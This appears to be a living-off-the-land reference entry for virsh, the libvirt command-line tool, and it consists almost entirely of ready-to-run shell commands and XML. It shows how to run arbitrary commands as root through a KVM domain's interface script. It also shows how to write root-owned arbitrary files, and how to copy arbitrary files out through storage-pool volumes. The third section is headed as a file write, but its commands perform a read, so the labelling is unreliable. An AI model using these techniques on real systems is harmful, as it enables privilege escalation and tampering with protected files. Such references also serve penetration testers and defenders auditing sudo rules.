Execute arbitrary commands (sudo)

cat >/path/to/temp-file.xml <<EOF
<domain type='kvm'>
  <name>x</name>
  <os>
    <type arch='x86_64'>hvm</type>
  </os>
  <memory unit='KiB'>1</memory>
  <devices>
    <interface type='ethernet'>
      <script path='/path/to/command'/>
    </interface>
  </devices>
</domain>
EOF
virsh -c qemu:///system create /path/to/temp-file.xml
virsh -c qemu:///system destroy x

Write to arbitrary files (sudo, unprivileged)

echo DATA >/path/to/temp-file

cat >/path/to/temp-file.xml <<EOF
<volume type='file'>
  <name>y</name>
  <key>/path/to/output-dir/output-file</key>
  <source>
  </source>
  <capacity unit='bytes'>5</capacity>
  <allocation unit='bytes'>4096</allocation>
  <physical unit='bytes'>5</physical>
  <target>
    <path>/path/to/output-dir/output-file</path>
    <format type='raw'/>
    <permissions>
      <mode>0600</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</volume>
EOF

virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/
virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml
virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file
virsh -c qemu:///system pool-destroy x

Write to arbitrary files (sudo, unprivileged)

virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/
virsh -c qemu:///system vol-download --pool x input-file output-file
virsh -c qemu:///system pool-destroy x